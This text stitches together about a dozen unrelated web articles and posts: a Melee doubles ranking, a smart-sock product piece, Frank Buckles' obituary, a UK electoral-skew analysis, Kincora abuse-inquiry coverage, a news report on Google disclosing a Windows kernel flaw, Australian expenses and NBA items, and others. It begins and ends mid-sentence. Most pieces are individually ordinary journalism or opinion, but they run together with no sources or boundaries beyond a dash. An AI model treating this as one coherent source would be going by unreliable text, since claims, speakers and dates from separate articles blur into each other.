Kevin "Husband" Dassing and Christopher "Wife" Fabisczak do not share the same level of victories or dominance as other doubles teams on this list, they should be mentioned for their prominence in the early years of competitive Melee. Their combination of Marth and Peach, each in their white outfits, facing off against old school legends like Ken and Isai have earned them a spot in memorable doubles play. 9. Shroomed and S2J Dajuan "Shroomed" McDaniel is a highly skilled doubles player, and his recent run with Johnny "S2J" Kim have seen them rise through the ranks at a fast pace. In a doubles environment full of deadly teams at their prime, taking third or second consistently at tournaments like Royal Flush and Smash'N'Splash 2 make their Sheik/Falcon combination not one to disregard. 8. Plup and Hungrybox Juan "Hungrybox" Debiedma, one of the Five Gods of Melee, teamed with top player, Justin "Plup" McGrath, and won several tournaments in a short period of time. The height of their team was 2014, where they took first at EVO 2014 and Smash the Record using a combination of Jigglypuff and Sheik/Samus. 7. Leffen and Ice William "Leffen" Hjelte and Mustafa "Ice" Akcakaya have teamed on-and-off since 2013, but they have established a strong presence in doubles tournaments in recent times. Although they tend to fall short of first place, their double Fox play has introduced an alternative to the usual doubles meta, and the two have taken out other powerful doubles teams in 2017. 6. Lucky and Mang0 The team "4 Leaf Mango" cemented their legacy in doubles tournaments from 2007 to 2014, where they consistently placed first more often than not. In 2007, they defeated Ken and Isai at Super Champ Combo, and despite losing the tournament, the victory signaled a time of transition. Their combination of Jigglypuff/Fox and double spacies earned them big wins at Pound 4, the APEX series, and Kings of Cali. 5. Hungrybox and Mew2King Hungrybox and Jason "Mew2King" Zimmerman are monsters in their own right for Melee singles, and even bigger monsters in Melee doubles. When the two Gods team up, they rarely lose to anyone. Jigglypuff is a huge menace in doubles play because of its ability to wall out opponents, save teammates, and work as part of a team while still being a powerful single character. Mew2King's support-heavy style matched up perfectly with Hungrybox and the two won every tournament they entered together until The Big House 5. They placed first in key tournaments like The Big House 3, EVO 2013, and APEX 2015. 4. Armada and Android In recent tournaments, Adam "Armada" Lindgren and Andreas "Android" Lindgren have used the power of the brother meta to dominate the international stage. After winning first place in numerous European doubles tournaments, Armada and Android have shown their ability in 2017, taking first in GENESIS 4, and Royal Flush just a short while ago. The Lindgrens use a combination of Sheik/Peach or Sheik/Fox. They are best known for creative combos and innovative teammate saves that showcase their high levels of synergy. 3. PewPewU and SFAT Kevin "PewPewU" Toy and Zachary "SFAT" Cordoni have rarely teamed with anyone other than each other, instead developing Melee's most synergistic doubles team over time. "Pewfat" is a major threat to any other doubles team. Their combination of Marth and Fox has granted them first place at EVO 2015, Smash Summit, and they were virtually unbeatable in 2016. PewPewU and SFAT know each other's movements and combos so well that it seems like they share one mind as they play. SFAT tends to close in and output damage, while PewPewU uses Marth's attack range to keep the momentum in their favor. 2. Ken and Isai Some smashers argue that Ken and Isai dominated the doubles scene in the early years of competitive Melee because of a lack of competition at the time. From 2003 to 2007, no other doubles team could even touch the duo, regardless of whether they went Marth/Sheik or Marth/Falcon. When the best singles player in the world at the time (Ken) and the best doubles player in the world at the time (Isai) work together, the result is four straight years of domination with a handful of second place wins. They definitely win first in terms of team name, as they called themselves "El Chocolate Diablo." 1. Armada and Mew2King Armada and Mew2King take the top spot for taking first place in Doubles nearly every time they have ever entered. Starting with a first place win in APEX 2012 and 2013, the two proceeded to win every doubles bracket they entered together until Paragon 2015. Mew2King is known for being the best doubles player in the world, but also stubborn in counter-picking and character choice. Armada commented that, while at SKTAR 3 against Mang0 and PPMD, he had to persuade Mew2King to stay Sheik, having already won the first two games with their Peach and Sheik combo -- a decision that Armada believed would win them the game. While they butted heads, they also balanced each other out in-game. Unfortunately, since Armada consistently teams with Android now, we'll never know of the potential legacy and dominance these two could have kept for years on end. Their winrate and domination whenever they decided to team won them the No. 1 spot as the best doubles team of all time. -published in Trail Walker Spring 2014, official publication of New York/New Jersey Trail Conference, nynjtc.org By Howard E. Friedman DPM High tech companies keep trying to push their products onto the trail either in your backpack or on your wrist. Mapping apps for smart phones and ipads. Solar powered recharging stations so you can recharge your ipad and smart phone. But many hikers, backpackers and trail runners continue to eschew the idea of letting technology get between them and the trail. But this spring the newest high tech product for hikers will actually come between you and the trail – as long as you are wearing socks. Really smart socks. This spring a new high-tech sock will be available to runners and hikers that will record and project an image of exactly how your feet are striking the ground. Are you a heel striker, forefoot striker or mid-foot striker? Do you put all your pressure under your great toe but no pressure under your smallest toe? Understanding how the foot strikes the ground can be an important distinction especially for runners since many researchers suggest that mid-foot and forefoot strikers are less prone to injuries than heel strikers. (Walkers and hikers are normally heel strikers). The socks can also detect if the wearer’s gait has changed during a hike or run. Called Sensoria, these socks will also record distance traveled, cadence (number of foot strikes per minute), number of steps taken, calories burned, as well as other metrics. A number of existing products can also tell you similar information, such as the Nike+Sportswatch. But no other device on the market geared for the athletic consumer can generate data and images of the pressure generated under your feet. The Sensoria sock made of a washable, synthetic wicking fabric will be available this spring from Heapsylon LLC, a Redmond, WA based technology company, Ceo Davide Vigiano said in a telephone interview. The company also manufactures a shirt and sports bra that use a sensor to record heart rate. The sock incorporates three sensors, one each under the heel, near the big toe and near the small toe, which are less than 1 mm thick. To activate the sensors, the hiker or runner attaches an anklet to the sock via snaps. The battery powered anklet contains an accelerometer and other technology which allow it to capture data from the sensors in the sock. The user can then see the data as it is being collected on his or her smart phone or even Google glasses, with pressure reflected as either green, the lowest reading, or yellow or red, a high reading. Or the user could download the data from the anklet via Blue Tooth technology or using a USB connection, after the hike to see a video strip of their foot strike history and other data, like distance traveled. Harvard evolutionary biologist Daniel Lieberman Ph.D, who has authored many studies on barefoot running and is the author of The Story of the Human Body (2013 Pantheon) is collaborating on the mobile application, according to Mr. Vigiano. The sock sensors do not have a GPS but can be paired with existing GPS units, Vigiano said. These smart socks are ideal for trail or road runners who not only want to know how far and fast they have traveled but also want to modify their gait, be notified if they have started suddenly pronating or supinating and want to try and minimize injury. Moreover, the sock could give a before and after look at exactly how an arch support or foot orthotic changes the pressure under the foot. Howard E. Friedman Advertisements -Washington (CNN) -- Frank Buckles, the last living U.S. World War I veteran, has died, a spokesman for his family said Sunday. He was 110. Lawmakers Monday began to move ahead with proposed resolutions that would allow his casket to be displayed at the Capitol Rotunda, and plans were already in the works for his burial at Arlington National Cemetery. Buckles "died peacefully in his home of natural causes" early Sunday morning, the family said in a statement sent to CNN late Sunday by spokesman David DeJonge. Buckles marked his 110th birthday on February 1, but his family had earlier told CNN he had slowed considerably since last fall, according his daughter Susannah Buckles Flanagan, who lives at the family home near Charles Town, West Virginia. Buckles, who served as a U.S. Army ambulance driver in Europe during what was then known as the "Great War," rose to the rank of corporal before the war ended. His assignments included that of an escort for German prisoners of war. Little did he know he would someday become a prisoner of war during World War II. He came to prominence in recent years, in part because of the work of DeJonge, a Michigan portrait photographer who had undertaken a project to document the last surviving veterans of that war. As the years continued, all but Buckles had passed away, leaving him the "last man standing" among U.S. troops who were called "The Doughboys." His death leaves only two verified surviving WWI veterans in the world, both of whom are British. President Obama issued a statement Monday on Buckles' passing, saying he and first lady Michelle Obama were "inspired" by Buckles' story. Frank Buckles lived the American Century," Obama's statement said. "Like so many veterans, he returned home, continued his education, began a career, and along with his late wife Audrey, raised their daughter Susannah. ... We join Susannah and all those who knew and loved her father in celebrating a remarkable life that reminds us of the true meaning of patriotism and our obligations to each other as Americans." Buckles told CNN in 2007 he accepted the responsibility of honoring those who had gone before him, and to be their voice for permanent, national recognition after he was gone. DeJonge found himself the spokesman and advocate for Buckles in his mission to see to it that his comrades were honored with a monument on the National Mall, pushing for improvements to a neglected, obscure city memorial nearly in the shadow of the elaborate World War II memorial. Buckles wanted national status granted to the D.C. War Memorial, a marble gazebo built in the 1930s that, for now, honors only his comrades from the District of Columbia. His call was to elevate the designation of the site to join U.S. honors accorded to those who served in World War II, Korea and Vietnam. "We have come to the end of a chapter in history," said Rep. Ted Poe, R-Texas, a House sponsor of legislation to upgrade the DC War Memorial. "Frank was the last American Doughboy -- a national treasure," Poe said in a statement provided to CNN. The "Frank Buckles WWI Memorial Act" passed the House but had not cleared the Senate before Congress adjourned. Poe on Monday restated his support for a House resolution that would allow a public display for Buckles in the Capitol Rotunda. Sen. Jay Rockefeller, D-West Virginia is a co-sponsor of the Senate proposal. Buckles, at the age of 108, came to Capitol Hill from West Virginia in 2009 to testify before a Senate panel on behalf of the D.C. War Memorial bill. He sat alongside Rockefeller and fellow proponent Sens. John Thune, R-South Dakota, and Jim Webb, D-Virginia. "I have to," he told CNN when he came to Washington, as part of what he considered his responsibility to honor the memory of fellow veterans. Rockefeller praised Buckles in a statement Monday, calling him "a unique American, a wonderfully plain-spoken man, and an icon for the World War I generation." "His life was full and varied and an inspiration for his unbridled patriotism and enthusiam for life," the statement said. Buckles, after World War I ended, took up a career as a ship's officer on merchant vessels. He was captured by the Japanese in the Philippines during World War II and held prisoner of war for more than three years before he was freed by U.S. troops. Never saying much about his POW experience, Buckles instead wanted attention drawn to the plight of the D.C. War Memorial. During a visit to the run-down, neglected site a few years ago, he went past the nearby World War II memorial without stopping, even as younger veterans stopped and saluted the old soldier in his wheelchair as he went by. Renovations to the structure began last fall, but Buckles, with his health already failing, could not make a trip to Washington to review the improvements. The National Park Service is overseeing efforts that include replacing a neglected walkway and dressing up a deteriorated dome and marble columns. Details for services and arrangements will be announced in the days ahead, the family statement said. Flanagan, his daughter, said preliminary plans began weeks ago, with the Military District of Washington expressing its support for an honors burial at Arlington, including an escort platoon, a horse-drawn casket arrival, a band and a firing party. "It has long been my father's wish to be buried in Arlington, in the same cemetery that holds his beloved General (John) Pershing," Flanagan wrote as she began to prepare for the inevitable in a letter she sent to home-state U.S. Sen. Joe Manchin, D-West Virginia. "I feel confident that the right thing will come to pass," she said. Manchin issued a statement Monday that read, in part, "He lived a long and rich life as a true American patriot, and I hope that his family's loss is lightened with the knowledge that he was loved and will be missed by so many." Buckles in 2008 attended Veterans Day ceremonies at the grave of Pershing, the commander of U.S. troops during World War I. He also met with then-President George W. Bush at the White House, and U.S. Defense Secretary Robert Gates at the Pentagon. "The First World War is not well understood or remembered in the United States," Gates said at the time. "There is no big memorial on the National Mall. Hollywood has not turned its gaze in this direction for decades. Yet few events have so markedly shaped the world we live in." Buckles' family asks that donations be made to the National World War I Legacy Project to honor Frank Buckles and the 4,734,991 Americans with whom he served. More than 116,000 Americans were killed, and more than 204,000 wounded, in the 19 months of U.S. involvement in the war, according to the Congressional Research Service. The overall death toll of the 1914-18 conflict was more than 16.5 million, including nearly 7 million civilians, and more than 20 million wounded. Details can be found at: www.frankbuckles.org. -Now that Congress is back in session, it's time to do the people's business again. So let's get on with the nuisance hearings again, shall we? Topic A: Thanks to the McClatchy folks, let's look in on the scandal that is the administration's giving Iran its own fcking money back. GOP Rep. Sean Duffy of Wisconsin, chairman of the House Financial Services subcommittee on oversight and investigation, said the evidence presented made it difficult to believe the payment wasn't a ransom. He asked the witnesses if they could guarantee that the money will not fund terrorism. "I can't speak for every dollar that goes in and out of Iran, as you know," Backemeyer said. Hold on a second. Common sense got caught in my throat there for a minute. The crime dog on this case is…this guy? I mean, really, this guy? At least Trey Gowdy was a prosecutor once. This guy is a former reality show star who first got famous as a politician by whining about his congressional salary. This is that deep bench again. But, since we are handed this lemon, let's make some lemonade, shall we? Let's go back to the golden days of early 1981, when the great sunshine of Amon-Ra Reagan had fallen upon the land, and some hostages came home—after which $12 billion in Iranian assets that Jimmy Carter had frozen suddenly were thawed. Six years later, he let them have $454 million more of their assets. There was a great unfreezing under the Reagan Administration. In between, of course, the administration sold them some lovely missiles at a decent price. Even if you don't believe that William Casey jacked around with the mullahs during the 1980 campaign—And I do believe that he did—there's no question that Ronald Reagan was in business with Iran almost from the moment he first sat down in the Oval Office, and a helluva lot more business than Barack Obama ever thought of doing. And it all proceeded from the release of the hostages in 1981. Plus, really now, this guy? Meanwhile, elsewhere in Our Nation's Capital, McClatchy reports that another predictable hooley has broken out in another committee room. Rep. Jason Chaffetz, R-Utah, opened the hearing by condemning Clinton for intentionally making a "mess" of the system for archiving and retrieving documents at the State Department that has frustrated legitimate requests for information from Congress, the media and the public…For example, Chaffetz noted, The Associated Press had to go to court to obtain all the detailed planning schedules from Clinton's four-year tenure as the nation's top diplomat. Patrick Kennedy, undersecretary of state for management, told the committee the agency is improving its records management but continues to struggle with the heavy volume of open-records requests it receives. For more than two hours, Kennedy sparred with lawmakers over a range of questions related to Clinton's records. He said the department is currently sorting through thousands of records it received from the FBI following its investigation of Clinton. Welcome to the next four years. Maybe. Click here to respond to this post on the official Esquire Politics Facebook page. -Batman v. Superman: Dawn of Justice star Jesse Eisenberg is doing some damage control after comparing his experience at Comic-Con International: San Diego to “some kind of genocide.” "Maybe on some cellular memory level, that's the only thing that seems like an equivalent social experience," Eisenberg told The Associated Press during another stop on The End of the Tour’s press tour. "Even if they're saying nice things, just being shouted at by thousands of people, it's horrifying." He went on to state that he was honored to be at Comic-Con, and was only making use of hyperbole in his genocide remark. "I of course was using hyperbole to describe the sensory overload I experienced. I sometimes do employ that," he said. "I'm a normal person who has normal sensory experiences, so Comic-Con was very overwhelming for me. That said, it was really an honor to be on that end of such jubilation." Eisenberg will play Lex Luthor in Batman v. Superman, and explained that such hyperbolic statements are just what’s expected of a villain. "They expect me to use hyperbole!" he said. "If I didn't I'd be the hero who usually speaks pretty practically." -With less than one week to go until polling day, and irrespective of the fact that the polls are extremely close (they are), we should focus on whether the electoral system helps one or other of the two largest parties, argues Tom Lubbock. In recent years the system has had a skew to Labour resulting from its biases. Will it this time around? Unlike so many of the outstanding questions about this intriguing election it is possible to give an answer to the electoral skew question before in-person voting begins on May 7th. By taking a forecast of the election result and running it through some simple equations it is possible to give a rough and ready verdict on who is going to benefit from the electoral system. I’ll present the results of this analysis and then move further into the weeds to explain what is going on and how it was carried out. Graph 1 illustrates the skew from previous elections since 1983, and the finding that on the basis of the best forecast of the 2015 election Labour and Conservatives are almost exactly equal beneficiaries of the electoral system in 2015. Labour benefit to the tune of 41 seats and the Conservatives benefit from a 40 seat skew. As you can see from Graph 1 the last time the system was in the habit of rewarding both large parties anything like this equitably was in 1997 and since then it has been one way traffic to Labour. With the headline out of the way its time to unpack. The skew has four distinct causes: Geographic distribution of votes Presence of minor parties in constituencies Different abstention rates Different constituency sizes Graph 2 shows how the 4 different sources of skew have changed since 2005. It is important to note that these components of skew are independent and whilst one may be positive for a given party others may be negative for that party. It is clear from the graphs that the largest contributor to the overall skew in the system is vote distribution bias. Therefore I’ll describe how this distribution bias comes about, spell out the method that produced these results, and give a few caveats. We can’t talk ex ante of skew and the biases that cause it and we can’t do so separate from a specific election. Each component part depends on the behaviour of voters. In the case of distribution bias the advantage or disadvantage that the system gives a party is determined by how efficiently its vote is ‘used’ to win seats. If a party wastes millions (literally) of votes which are cast in seats where it finishes second or third then this counts against it. The way to calculate how a party is affected by the way in which its vote is distributed is to add up the results of hypothetical elections where each party swaps its vote share with its competitors. We can then see whether, with a given vote share Labour does relatively better than, say, the Conservatives with the same vote share. By taking the predicted percentage vote for each party in each seat (produced by the www.electionforecast.co.uk team) and using the electorate and turnout figures for each constituency from 2010 we can analyse the bias at a hypothetical 2015 election as forecast by electionforecast and it is these calculations that produce the above figures for 2015. For the existence of this method we have to thank a Kiwi political scientist, R. H. Brookes. The even more extraordinary feat of adapting the method to the three party case has to be credited to Galina Borisyuk in papers written with her colleagues at Plymouth Michael Thrasher and Colin Rallings. Despite the fact that it seems that the two largest parties are being rewarded evenly by the electoral system in this election smaller parties whose vote is not supremely regionally concentrated are harshly treated by the current system. Chris Hanretty has run the numbers and found that, on the same forecast being used here, this will be the most disporportional election ever (with a Gallagher index value of 20.4). And it is this skew against UKIP, the Lib Dems and in favour of the SNP that is driving calls for electoral reform (although oddly sometimes from the two largest parties who are still benefiting). Some caveats: The method used to derive the biases and skew is designed for 3 rather than 5 party politics. Anyone who can come up with a method for the n-party case gets themselves a published paper. We don’t know turnout in each seat as the election hasn’t been run. Therefore I have to just use the turnout from last time in each seat. The results are based on a forecast of each party’s vote share in each seat. It’s just a forecast and the result may be different (although I have faith in the forecast). I am grateful to Matt Singh for encouraging use of the term skew. Note: This article gives the views of the author, and not the position of the General Election blog, nor of the London School of Economics. Please read our comments policy before posting. About the Author -Two Michigan state senators are pushing a bill to allow pharmacies to sell medical marijuana—if the federal government approves—the Detroit Free Press reported last week. “The voters decided that medical marijuana was a good thing for the state of Michigan, but unfortunately, very few parameters were put around that,” Republican Senator Randy Richardville told the paper. Most interestingly, Prairie Plant Systems—the company that held the sole contract to produce medical pot for the Canadian government until recent changes in that country’s medical marijuana program—is lobbying hard for the bill. The company hired Chuck Perricone, a former state house speaker, to move the medical marijuana bill forward. “The market for this is virtually untapped. The potential for the product is tremendous,” Perricone told DFP. But patient advocates are skeptical of the corporate pharmacy pot push. “If you’re able to grow in your basement there’s no reason to go to Walmart,” Americans for Safe Access chapter spokesman Rick Thompson told the Associated Press. He suggested the goal of the bill is to eliminate patient home growing rights in Michigan, and said such a move is against the spirit of the medical cannabis law approved by voters in 2008. -Inquiry will hear from men abused as boys at Northern Ireland children’s home and allegations that perpetrators were protected by working as spies An inquiry into child abuse across a range of institutions in Northern Ireland will focus on Tuesday on the Kincora boys home scandal including allegations that MI5 blackmailed a paedophile ring which operated there in the 1970s. The historical institutional abuse inquiry will hear evidence from men who were abused at Kincora when they were children and their allegations that the perpetrators were protected because they were state agents spying on fellow Ulster loyalists. A number of Kincora abuse victims have tried through the courts to force the scandal to be included in the national investigation into allegations of establishment paedophile rings operating in Westminster. Gary Hoy tried and failed last month to force the home secretary to include Kincora in the Westminster inquiry. Hoy and others fear that the Kincora inquiry, which is based in Northern Ireland and taking hearings at the court in Banbridge, County Down, will not have access to sensitive MI5 intelligence files on the people who ran Kincora. Amnesty International has described the Kincora scandal as one of the most disturbing to emerge from the Ulster Troubles. Patrick Corrigan, Amnesty’s director in Northern Ireland, said: “Nothing less than a full public inquiry – with all the powers of compulsion which that brings – can finally reveal what happened and the role that the security services may have played in the abuse of these vulnerable boys.” At least 29 boys were sexually abused by Kincora housemaster and prominent Orange Order member William McGrath and others at the east Belfast home. One boy is said to have committed suicide following years of abuse by jumping off a ferry into the Irish Sea in the late 1970s. Another of the abuse victims at Kincora, Clint Massey, told the Guardian last year that he even tried to file a report at a local police station in east Belfast about what was happening to him and other boys at the home in the mid-1970s. However, Massey said he was forcibly marched out of the RUC station by police officers and that his complaint was not recorded. Former army intelligence officer and whistleblower Colin Wallace has consistently claimed that MI5, RUC special branch and military intelligence knew about the abuse going on at Kincora and used it to blackmail the paedophile ring to spy on hardline loyalists. In 1980, Wallace was arrested and convicted of manslaughter. He spent six years in jail despite suggestions he had been framed. His conviction for manslaughter was quashed in 1996 in the light of fresh forensic evidence and shortcomings at his trial. In 1990, Margaret Thatcher was forced to admit that her government had deceived parliament and the public about Wallace’s role. An independent investigation by David Calcutt QC found that members of MI5 had interfered with disciplinary proceedings against Wallace. As a result, Wallace was awarded £30,000 in compensation. Three men were jailed for their part in abuse at Kincora in 1981, but attempts to establish the truth about British state involvement have been blocked. It has persistently been alleged that McGrath, who was a leader in an extreme evangelical Protestant group called Tara, was an informant for British intelligence. McGrath was jailed for sexual offences in 1981 and is now dead. Theresa May, the home secretary, has insisted that the chairman of the Banbridge-based inquiry, retired judge Sir Anthony Hart, will have full access to government and intelligence files relating to Kincora. The historical institutional abuse inquiry is investigating 22 orphanages, care homes and other institutions where child sexual abuse took place. The inquiry team is expected to hear from around 450 witnesses, some of whom have travelled from as far as the United States and Australia to give evidence. -Everything's obvious in hindsight. That's a lesson that Fire Hose Games founder Eitan Glinert has learned at least twice in the past few years. The first time happened at PAX Prime 2011, way up on the sixth floor where many of the indie developers had rented small booths two floors above the show floor. There was no good reason for everybody to keep doing this alone, Glinert thought. And out of that thought grew the Indie Megabooth, a collection of developers who band together and stake their claim on the main floor of PAXes east and west. More recently, Glinert realized he had the power to organize something else for the tight-knit indie development community, many of whom he's seen fail "for just some stupid, avoidable problem." And the realization, coupled with what he'd been able to accomplish with the Indie Megabooth, kind of pissed him off that nobody'd figured this out before — including him. "That really set me off thinking that, if indies can do such a good job getting together for something like showing off at a conference, imagine what they could do if they kind of banded together a little bit more when it came to making their own games," Glinert told Polygon in a recent interview. That idea's been bouncing around in his head for the last year or so. Now he's figured out what to do with it. Tonight at a monthly gathering of indie developers called the Boston Post Mortem, Glinert will outline his plans to help fellow indies by turning Fire Hose Games into an indie developer incubator. "Imagine what they could do if they kind of banded together a little bit more." "You know how you kind of have an epiphany on this sort of thing and and after you have it, it's like, 'Oh, my gosh! That was so obvious. How did I not realize that sooner? Well, that's exactly where we are, and frankly. I'm shocked that we don't see more people doing it." Glinert isn't interested in a classic incubator model, which he said were designed for businesspeople who want to create businesses. Instead, he wants to incubate games and the people who make them. He wants to create an environment where it's safe and sustainable to make games. "It's no secret that all of indies talk to each other, right?" he said. "There's just been uncountable numbers of times when I've seen people failing with their project for just some stupid, avoidable problem. Maybe they just didn't have a little bit of money that they needed. Maybe they made a bad business decision. Maybe they didn't understand that it was time to iterate on their game. Maybe they didn't make the right connection, they didn't talk to the right person. Maybe they had some sort of healthcare issue. "There's all these really solvable problems that come up, and it prevents a lot of indies form making a good game or from being successful. And we realized that that's the sort of thing that Fire Hose is set up to help people with. That's something that we can do to help people with." He has "spreadsheet after spreadsheet after spreadsheet" which he thinks proves that the model can make money. And he's currently talking to investors to raise funds for the quasi-incubator that envisions. In the gaming world, he said, the way it often works is that publishers look for good games to fund. But for Glinert, the goal will be different. The goal will be to find good developers, who will make good games. He believes it will work because he's seen it work in the studio he founded. "We eat our own dog food. We are living it right now." "Instead of us trying to pick the winner games, we're trying to pick the winner developers," he said. "And that's a really big difference, right? I think it's actually a much easier problem to identify people that are really good at making games, and really good at making indie games. I say that because we've done that. We have great people at Fire Hose." There's something else he's doing inside the studio that he hopes will teach him about how the incubation model he envisions will work: Fire Hose has been practicing the model for months. "We eat our own dog food. We are living it right now. We are currently working on four fucking games. We have lost our goddamn minds," he said with a laugh. "We're working on all these games in tandem. We're giving people huge amounts of creative control while they make the games. And we're pushing this forward as we speak." That's Eitan Glinert's idea in a nut: Use the success of Fire Hose games to find and empower other developers to make great games. He doesn't have all the details yet — he's considering an interview process that doesn't even ask about games, at least for now — but he's working on it, and he's sure of a couple things. He wants the developers to stick around to make second, third and fourth games. But he also wants an escape lever built into the contract, so they can leave if and when they want to and their their intellectual property with them. And he wants Fire Hose Games to be at the forefront of this evolution in how he hopes indie games are made. As he sees it, it's a way to help others and help his business, too. It's a lot like what he did with the Indie Megabooth. "That's how I feel about the games industry," he said. "Why aren't people fixing this indie problem? Why the fuck do I have to go do it? Alright, I'll do it. Somebody's got to." -A serious security vulnerability in Windows code is currently being exploited, Google researchers said on Monday. Google discovered the flaw, which also affects Adobe's Flash media player, on Oct. 21. Adobe issued a fix a few days later, but Microsoft still has not issued its own, according to a Google blog post. Google said its policy is to publish actively exploited critical vulnerabilities seven days after it reports them to the software's creator. The flaw, which exists in the Windows kernel, can be used as a "security sandbox escape," according to Google. Most software contains sandboxes in order to stop malicious or malfunctioning programs from damaging or snooping on the rest of the computer. It's unclear how extensively the Windows flaw has been exploited. Google said only that it is being "actively exploited." In a statement, Microsoft acknowledged the security flaw and criticised Google for disclosing it before a fix was ready. "We believe in coordinated vulnerability disclosure, and today's disclosure by Google puts customers at potential risk," a Microsoft spokesperson told VentureBeat. "Windows is the only platform with a customer commitment to investigate reported security issues and proactively update impacted devices as soon as possible." The company added that it recommends Windows owners use the Microsoft Edge browser, though it did not say whether Edge can prevent the vulnerability from being exploited. Google, meanwhile, said its Chrome browser prevents the exploit. Citing a source close to Microsoft, VentureBeat reported that the vulnerability requires Flash to be exploited. Since Adobe has already issued a fix for Flash, users with the latest Flash updates may be protected even without a Microsoft fix. This article originally appeared on PCMag.com. -Current Treasurer Joe Hockey and former Liberal Treasurer Peter Costello both criticised Mrs Bishop's use of expenses on Sunday, with Mr Hockey pointedly noting that he hadn't "heard of anyone who has taken a helicopter to a fundraising event". Defiant: Bronwyn Bishop attends a memorial service at the Sydney War Memorial on Sunday to commemorate the Battle of Fromelles. Credit:Steven Siewert The Department of Finance is now conducting an audit of Mrs Bishop's expenses, despite Labor writing to the Australian Federal Police and requesting an investigation, as happened with former Speaker Peter Slipper. But in comments that ratchet up political pressure on the Prime Minister for the mistakes of the Speaker, Mr Shorten said on Sunday that Mr Abbott needed to act and remove his "captain's pick", Mrs Bishop, from the Speaker's chair. "This has now become a test of Tony Abbott's leadership. Does Mr Abbott have the character to tell Bronwyn Bishop to stand aside? Because he knows - and the world knows - that this arrogant misuse of taxpayer funds needs to be held to account," he said. "He can't dismiss this, as he apparently has, as village gossip ... Mr Abbott's Liberals are addicted to privilege. Expenses: Bronwyn Bishop at Saturday's press conference. Credit:James Brickwood "There is not a hint of apology in the ranks of the Liberal Party, there is no apology from Mrs Bishop, she just doesn't seem to understand what the fuss is about." Earlier on Sunday, Mrs Bishop was swamped by journalists after the unveiling of a new Anzac memorial in Sydney's Hyde Park. She faced further questions about the $5000 charter helicopter flight from Melbourne to Geelong – a journey that takes as little as an hour by car - and dismissed suggestions she should apologise. "When we talked about the helicopter, that is now with the Department of Finance so I don't think it's appropriate to talk about it any further, except to say, if you look at other people's charter allowances, I think Mr [Tony] Burke spent in the same period $31,000. You have got to get things into proportion," she said. "The best form of apology is to repay the money." A journalist countered: "The best form of apology, Mrs Bishop, is to say 'I'm sorry.' " But she swatted away that question and claims her case was comparable to that of Mr Slipper, who faced public wrath over his use of Cabcharge dockets, describing it as "totally a different matter altogether". And Mrs Bishop also attempted to justify the huge expenditure involved in a recent two-week trip to Europe. "It wasn't $90,000, it was $88,000," she said of Fairfax's recent coverage of her fortnight-long trip to Europe, including time spent campaigning for an international job. And she repeated her claim that the money on the helicopter flight was spent within the rules, which requires expenditure to relate to the duties of office, even though she was attending a party political fundraiser. The event was, in fact, a form of community outreach, she said. Loading "The [criticism about the] grandiosity [of arriving in a helicopter] is quite right," she said. "That's why I've repaid the money." -The family of 13-year-old Jahi McMath and Children’s Hospital Oakland have reached an agreement to allow a critical care team to transfer the brain-dead girl to another medical facility. Under the agreement reached Friday, her mother, Naliah Winkfield, will be “wholly and exclusively responsible” for Jahi during the transfer, including in the event that the teen’s heart stops beating. For weeks, the McMath family has been searching for a medical facility to accept Jahi while simultaneously fighting in court to keep her on life-support. She was declared brain dead on Dec. 12– three days after a tonsillectomy surgery aiming to alleviate her sleeping problems resulted in heavy bleeding and cardiac arrest. Alameda County Superior Judge Evelio Grillo refused the family’s request for hospital doctors to insert feeding and tracheostomy tubes for the move, according to the San Francisco Chronicle. Two hospital physicians and three outside doctors requested by the family have deemed Jahi brain-dead. Children’s does not allow physicians to perform procedures on the deceased. ”Right now, arrangements are being made, and what we needed to know was that when all the balls were in line, that we could move quickly, and not to have impediments, so that we all understood what the protocol was,” said Christopher Dolan, attorney for the family. “So this is a victory in terms of getting us one step closer.” Meanwhile, the case continues to make headlines across the globe and foster discussions about the ethics of artificially prolonging life. Terri Schiavo Life & Hope Network, an organization launched shortly after the contentious death of Terri Schiavo in 2005, has been overseeing efforts by several groups to assist in Jahi’s transfer. “Together with our team of experts, Terri’s Network believes Jahi’s case is representative of a very deep problem within the U.S. healthcare system– particularly those issues surrounding the deaths of patients within the confines of hospital corporations, which have a vested financial interest in discontinuing life,” the organization said in a statement. Ronda Hughes, an associate professor at Marquette University’s College of Nursing specializing in health services research and patient safety, said Jahi will not benefit from more treatments. “When someone is brain-dead that means that the brain cannot function to support life on its own,” Hughes told Life Matters Media. “In this case, the hospital has said the patient is brain-dead. There is no technology, there is nothing to bring the patient back to life, no matter the hospital.” Death is difficult for many Americans to accept, partly because modern medical technologies have made it possible to prolong life longer than ever before. “This is an extremely difficult situation for anyone to go through, because it involves the death of what appeared to be an otherwise normal, healthy child. No parent expects anything to go wrong with their child,” Hughes said. “We can keep her alive for years on life-support, but to what end? Are we doing what is best for the patient or what is best for the family?” Hughes said that Americans are much more accepting of deaths after a long illness, and even of those as a result of automobile accidents. “As a society, we have a lot of faith that our medical technology can do things that in reality it can’t.” [Jan. 6 Update: Brain-Dead Girl Released From Oakland Hospital] -About 10 days ago, his backup point guard situation seemed destined to cause Stan Van Gundy indigestion or insomnia. Not so much anymore. Van Gundy saw enough from Steve Blake in his only preseason appearance – Friday’s 28-point win over Atlanta in the finale – to feel comfortable going into Tuesday’s season opener with Blake as his backup point guard. But he also saw a different Spencer Dinwiddie over the second half of the preseason. “He’s just got a lot of experience. I like the way he moves the ball, passes the ball,” Van Gundy said of Blake after Sunday’s practice. “I thought Spencer, though, has played four pretty good games in a row. I’ve been happy with him. He’s played a lot better. I thought early in the preseason he was not real solid. He was very up and down. But over the last four games, I think he was good.” Things are falling into place for the Pistons on the health front, it appears. Kentavious Caldwell-Pope threw a scare into Van Gundy when he limped off in the first quarter last Wednesday against Charlotte, but he’s on course to play Tuesday. He missed Sunday’s practice, but was scheduled to run on a treadmill with 100 percent body weight after taking it to 70 percent on Saturday. Van Gundy expects confirmation on Monday that backup center Aron Baynes will have the conditions under which he played in the preseason – a 15-minute limit per game and a ban on playing in back to backs – lifted by the doctor in charge of Baynes’ rehab from off-season ankle surgery. Blake and Baynes will play key roles off the bench along with rookie Stanley Johnson, Jodie Meeks, Anthony Tolliver and Reggie Bullock. Blake, in fact, could be used in tandem with Reggie Jackson if Van Gundy sees a need to inject more ball movement. The Pistons spent part of Sunday’s practice with that look, he said. Van Gundy says how deep he does into his bench from game to game will vary. “It’ll be situational,” he said. “My guess is we’ll use at least 10, maybe 11. All depends.” Marcus Morris and Ersan Ilyasova will be the starting forwards, Van Gundy confirmed. They started against Charlotte and Van Gundy said last week that unless something caused him to change his mind, that would be the starting combination for the season opener. Two other bits of housekeeping to note: The Pistons picked up fourth-year options on 